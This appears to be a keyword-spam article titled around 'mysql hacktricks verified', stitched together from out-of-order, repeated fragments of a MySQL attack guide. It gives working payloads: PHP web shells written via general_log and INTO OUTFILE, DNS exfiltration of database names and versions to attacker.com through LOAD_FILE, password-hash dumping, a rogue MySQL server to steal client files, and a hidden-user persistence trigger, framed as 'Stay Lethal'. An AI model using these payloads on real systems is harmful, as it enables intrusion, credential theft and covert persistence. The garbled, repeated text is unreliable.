Keyword Focus: mysql hacktricks verified Introduction: Why "Verified" Matters In the world of cybersecurity, information is abundant, but accuracy is scarce. When searching for mysql hacktricks verified , you are not looking for theoretical vulnerabilities or outdated exploits. You are looking for battle-tested commands, bypasses, and privilege escalation paths that work against real-world MySQL and MariaDB deployments.
SHOW VARIABLES LIKE 'general_log%'; SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/mysqlshell.php'; SELECT "<?php system($_GET['cmd']); ?>"; -- The query gets written to the log file as a PHP shell This is a goldmine for hacktricks users – it bypasses all file restrictions. 3.1 DNS Exfiltration (No File Write) If you can execute LOAD_FILE or SELECT but the host has no outbound internet except DNS, use DNS leaks.
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; If OUTFILE fails due to newline issues, use INTO DUMPFILE with hex: mysql hacktricks verified
Not possible directly, but you can create a new user with the stolen hash if you have INSERT on mysql.user and restart privileges ( FLUSH PRIVILEGES ). 4.2 Reading Client Files (Rogue MySQL Server Attack) This is a classic but often overlooked. If you can trick an admin or app server into connecting to your malicious MySQL server, you can read arbitrary files from the client.
Use hex encoding to avoid illegal characters. SHOW VARIABLES LIKE 'general_log%'; SET GLOBAL general_log =
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake.txt')); On your DNS server, monitor queries for dbname.attacker.com .
CREATE TRIGGER hide_user BEFORE INSERT ON mysql.user FOR EACH ROW BEGIN IF NEW.User = 'hidden' THEN SET NEW.password = PASSWORD('dontlog'); END IF; END; Note: Requires SUPER or TRIGGER privilege. | Goal | Best Method | Preconditions | |------|-------------|----------------| | Execute OS command | UDF sys_eval | FILE , write to plugin_dir, MySQL < 8.0 or custom compile | | Write shell | general_log file write | SUPER or file write perms | | Read files | LOAD_FILE() | FILE , file path within secure_file_priv or set to empty | | Dump hashes | SELECT authentication_string FROM mysql.user | SELECT on mysql.user | | Steal client files | Rogue MySQL server | Network access to victim's MySQL client | | Persistence | Hidden user + trigger | CREATE USER + TRIGGER | Conclusion: Stay Verified, Stay Lethal The difference between a script kiddie and a professional is verification. The mysql hacktricks verified approach means you do not blindly run commands—you understand the context, confirm the version, test the boundary, and then exploit with precision. confirm the version
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT hex(version())), '.attacker.com\\test')); If error-based or union-based injection fails, try Time-based + DNS. But for direct DB access, use the sys_exec UDF to run nslookup or curl . Part 4: Lateral Movement and Credential Harvesting 4.1 Dumping Password Hashes MySQL stores credentials in mysql.user . Hash types: mysql_native_password (SHA1-based) or caching_sha2_password (MySQL 8+).